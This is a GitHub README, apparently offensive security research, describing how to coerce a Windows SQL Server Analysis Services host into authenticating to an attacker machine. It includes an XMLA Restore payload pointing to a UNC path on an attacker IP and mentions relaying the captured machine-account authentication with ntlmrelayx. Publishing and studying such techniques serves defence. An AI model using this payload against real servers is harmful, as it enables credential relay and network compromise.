Movatterモバイル変換


[0]ホーム

URL:


Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.

NotificationsYou must be signed in to change notification settings

p0dalirius/MSSQL-Analysis-Coerce

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
 
 
 
 
 
 
 
 
 
 

Repository files navigation

A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.

This proof of concept is co-authored by :

  • Podalirius:YouTube Channel Subscribers
  • Worty:

Proof of concept

In order to trigger the authentification as the local machine account, we need to connect to the remote SQL Server using user credentials:

Then we will select "Restore" to restore the database from a given file.

To generate the XMLA file, put the path to a random file in the "Backup File" form, and click Ok.

Then change the path to a random file and replace it with a UNC path to your attacker server (for example\\192.168.128\SYSVOL\db.abf)

Proof of concept XMLA query (poc.xmla):

<Restorexmlns="http://schemas.microsoft.com/analysisservices/2003/engine">    <File>\\192.168.2.51\SYSVOL\db.abf</File>    <DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>    <DbStorageLocationxmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation></Restore>

And we get an authentication from the local machine account of the SQL Server:

Relaying for the win

Once we got the authentification, we can relay it withntlmrelayx to perform many actions on behalf of the computerSQL01$.

This is cool, but it is complicated to trigger this coerced authentication from a Linux attacking machine as we do not have access to the SQL Server Management Studio (SSMS).

References

About

A technique to coerce a Windows SQL Server to authenticate on an arbitrary machine.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Sponsor this project

  •  

Languages


[8]ページ先頭

©2009-2025 Movatter.jp